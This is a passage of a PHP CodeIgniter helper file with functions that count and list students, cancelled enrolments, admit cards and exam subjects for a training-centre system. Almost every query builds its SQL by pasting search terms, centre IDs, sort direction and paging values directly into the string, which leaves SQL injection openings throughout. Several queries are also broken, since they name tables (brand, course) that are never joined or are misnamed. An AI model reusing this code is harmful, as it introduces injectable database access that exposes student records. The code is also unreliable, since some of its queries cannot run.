. $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.pay_status=1 ORDER BY students.id DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR categorylist.CATEGORY_NAME LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.center_id="'.$center.'" and students.pay_status=1 ORDER BY students.id DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_all_student_cancel_list($center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.pay_status=2'); }else{ $query = $ci->db->query('select count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where centers.center_number="'.$center.'" and students.pay_status=2'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_student_cancel_list($limit, $start, $order, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.pincode as PINCODE from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where students.pay_status=2 ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.pincode as PINCODE from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where centers.center_number="'.$center.'" and students.pay_status=2 ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function student_cancel_list_search($limit, $start, $search, $col, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.pincode as PINCODE from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.pay_status=2 ORDER BY students.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *, students.id as id, students.name as student_name,students.dob as student_dob,students.pincode as PINCODE from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and centers.center_number="'.$center.'" and students.pay_status=2 ORDER BY students.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function student_cancel_list_search_count($search,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and students.pay_status=2 ORDER BY students.id DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count from `students` left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join categorylist on students.category=categorylist.CAT_ID left join batch_session on batch_session.BATCH_ID=students.Batch left join session_year on session_year.id=students.session left join blood_group on blood_group.BG_ID=students.blood_group left join country on country.COUNTRY_ID=students.country left join gender on gender.GENDER_ID=students.gender left join nationality on nationality.NATIONALITY_ID=students.nationality left join business_list on business_list.BUSSINESS_ID=students.occupation left join medium_list on medium_list.MEDIUM_ID=students.medium left join cast on cast.CAST_ID=students.community left join marital_status on marital_status.MS_ID=students.marrital_status left join languages on languages.id=students.mother_tongue left join religion on religion.RELIGION_ID=students.religion where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" OR batch_session.BATCH_NAME LIKE "' . $search . '%" OR blood_group.BG_NAME LIKE "' . $search . '%" OR country.COUNTRY_NAME LIKE "' . $search . '%" OR gender.GENDER_NAME LIKE "' . $search . '%" OR nationality.NATIONALITY_NAME LIKE "' . $search . '%" OR business_list.BUSINESS_NAME LIKE "' . $search . '%" OR medium_list.MEDIUM_NAME LIKE "' . $search . '%" OR cast.CAST_NAME LIKE "' . $search . '%" OR marital_status.MS_NAME LIKE "' . $search . '%" OR languages.language LIKE "' . $search . '%" OR religion.RELIGION_NAME LIKE "' . $search . '%") and centers.center_number="'.$center.'" and students.pay_status=2 ORDER BY students.id DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_download_admit_card($center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on se.id=ad.year LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where s.pay_status=1'); }else{ $query = $ci->db->query('select count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on se.id=ad.year LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where s.center_id="'.$center.'" and s.pay_status=1 '); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_download_admit_card($limit, $start, $order, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name, s.id as STUDENT_ID, ad.AC_ID as card_id,s.id as id,s.dob as dob,ad.AC_DURATION as course_year FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on se.id=ad.year LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where s.pay_status=1 ORDER BY ad.AC_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); // $query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status, students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ //$query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status , students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id where students.center_id="'.$center.'" ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, ad.AC_ID as card_id,s.id as id,ad.AC_DURATION as course_year,s.dob as dob FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on se.id=ad.year LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where s.center_id="'.$center.'" and s.pay_status=1 ORDER BY ad.AC_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function download_admit_card_list_search($limit, $start, $search, $col, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, ad.AC_ID as card_id,s.id as id,ad.AC_DURATION as course_year,s.dob as dob FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on se.id=ad.year LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.pay_status=1 ORDER BY ad.AC_ID DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, ad.AC_ID as card_id,s.id as id,ad.AC_DURATION as course_year,s.dob as dob FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on se.id=ad.year LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.center_id="'.$center.'" and s.pay_status=1 ORDER BY ad.AC_ID DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function download_admit_card_list_search_count($search,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on se.id=ad.year LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.pay_status=1 ORDER BY ad.AC_ID DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on se.id=ad.year LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=s.Batch where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.center_id="'.$center.'" and s.pay_status=1 ORDER BY ad.AC_ID DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_filter_download_admit_card($center,$course_id,$course_duration) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count FROM course_duration_list LEFT JOIN courses ON courses.duration=course_duration_list.CDL_COURSE_ID LEFT JOIN students ON students.course_id=courses.id LEFT JOIN centers ON centers.id=students.center_id left join session_year on session_year.id= students.session where course_duration_list.CDL_ID ="'.$course_duration.'" AND students.id!="" '); }else{ $query = $ci->db->query('select count(*) as count FROM course_duration_list LEFT JOIN courses ON courses.duration=course_duration_list.CDL_COURSE_ID LEFT JOIN students ON students.course_id=courses.id LEFT JOIN centers ON centers.id=students.center_id left join session_year on session_year.id= students.session where course_duration_list.CDL_ID ="'.$course_duration.'" AND students.id!="" '); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_filter_download_admit_card($limit, $start, $order, $dir,$center,$course_id,$course_duration) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,students.name as student_name, students.id as STUDENT_ID FROM course_duration_list LEFT JOIN courses ON courses.duration=course_duration_list.CDL_COURSE_ID LEFT JOIN students ON students.course_id=courses.id LEFT JOIN centers ON centers.id=students.center_id left join session_year on session_year.id= students.session where course_duration_list.CDL_ID ="'.$course_duration.'" AND students.id!="" ORDER BY course_duration_list.CDL_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); // $query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status, students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ //$query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status , students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id where students.center_id="'.$center.'" ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); $query = $ci->db->query('SELECT *,students.name as student_name, students.id as STUDENT_ID FROM course_duration_list LEFT JOIN courses ON courses.duration=course_duration_list.CDL_COURSE_ID LEFT JOIN students ON students.course_id=courses.id LEFT JOIN centers ON centers.id=students.center_id left join session_year on session_year.id= students.session where course_duration_list.CDL_ID ="'.$course_duration.'" AND students.id!="" ORDER BY course_duration_list.CDL_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function filter_download_admit_card_list_search($limit, $start, $search, $col, $dir,$center,$course_id,$course_duration) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,students.name as student_name, students.id as STUDENT_ID FROM course_duration_list LEFT JOIN courses ON courses.duration=course_duration_list.CDL_COURSE_ID LEFT JOIN students ON students.course_id=courses.id LEFT JOIN centers ON centers.id=students.center_id left join session_year on session_year.id= students.session where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" ) AND course_duration_list.CDL_ID ="'.$course_duration.'" AND students.id!="" ORDER BY course_duration_list.CDL_ID DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,students.name as student_name, students.id as STUDENT_ID FROM course_duration_list LEFT JOIN courses ON courses.duration=course_duration_list.CDL_COURSE_ID LEFT JOIN students ON students.course_id=courses.id LEFT JOIN centers ON centers.id=students.center_id left join session_year on session_year.id= students.session where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" ) AND course_duration_list.CDL_ID ="'.$course_duration.'" AND students.id!="" ORDER BY course_duration_list.CDL_ID DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function filter_download_admit_card_list_search_count($search,$center,$course_id,$course_duration) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count FROM course_duration_list LEFT JOIN courses ON courses.duration=course_duration_list.CDL_COURSE_ID LEFT JOIN students ON students.course_id=courses.id LEFT JOIN centers ON centers.id=students.center_id left join session_year on session_year.id= students.session where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" ) AND course_duration_list.CDL_ID ="'.$course_duration.'" AND students.id!="" ORDER BY course_duration_list.CDL_ID DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count FROM course_duration_list LEFT JOIN courses ON courses.duration=course_duration_list.CDL_COURSE_ID LEFT JOIN students ON students.course_id=courses.id LEFT JOIN centers ON centers.id=students.center_id left join session_year on session_year.id= students.session where ( students.enrollment_no LIKE "' . $search . '%" OR students.name LIKE "' . $search . '%" OR students.email LIKE "' . $search . '%" OR students.center_id LIKE "' . $search . '%" ) AND course_duration_list.CDL_ID ="'.$course_duration.'" AND students.id!="" ORDER BY course_duration_list.CDL_ID DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_all_exam_date_subject_list($duration,$courseid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN brand ON brand.id=courses.category where subjects.year="'.$duration.'" and subjects.course_id="'.$courseid.'" '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_exam_date_subject_list($limit, $start, $order, $dir,$duration,$courseid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,brand.id AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN brand ON brand.id=courses.category WHERE subjects.year="'.$duration.'" and subjects.course_id="'.$courseid.'" ORDER BY subjects.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function exam_date_subject_list_search($limit, $start, $search, $col, $dir,$duration,$courseid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,brand.id AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN brand ON brand.id=courses.category where ( brand.brand_name LIKE "' . $search . '%" OR subjects.subject_name LIKE "' . $search . '%" OR course.course_name LIKE "' . $search . '%" OR course.course_code LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" ) AND subjects.year="'.$duration.'" and subjects.course_id="'.$courseid.'" ORDER BY subjects.id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function exam_date_subject_list_search_count($search,$duration,$courseid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN brand ON brand.id=courses.category where ( brand.brand_name LIKE "' . $search . '%" OR subjects.subject_name LIKE "' . $search . '%" OR course.course_name LIKE "' . $search . '%" OR course.course_code LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" ) AND subjects.year="'.$duration.'" and subjects.course_id="'.$courseid.'" ORDER BY subjects.id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_all_exam_date_subject_list2($courseid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN brand ON brand.id=courses.category where subjects.course_id="'.$courseid.'" '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_exam_date_subject_list2($limit, $start, $order, $dir,$courseid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,brand.id AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN brand ON brand.id=courses.category WHERE subjects.course_id="'.$courseid.'" ORDER BY subjects.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function exam_date_subject_list2_search($limit, $start, $search, $col, $dir,$courseid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,brand.id AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN brand ON brand.id=courses.category where ( brand.brand_name LIKE "' . $search . '%" OR subjects.subject_name LIKE "' . $search . '%" OR course.course_name LIKE "' . $search . '%" OR course.course_code LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" ) and subjects.course_id="'.$courseid.'" ORDER BY subjects.id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function exam_date_subject_list2_search_count($search,$courseid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN brand ON brand.id=courses.category where ( brand.brand_name LIKE "' . $search . '%" OR subjects.subject_name LIKE "' . $search . '%" OR course.course_name LIKE "' . $search . '%" OR course.course_code LIKE "' . $search . '%" OR brand.brand_name LIKE "' . $search . '%" ) and subjects.course_id="'.$courseid.'" ORDER BY subjects.id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*---------------------------------------------------- start download marksheet -------------------------------------------*/ function count_download_marksheet($center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = 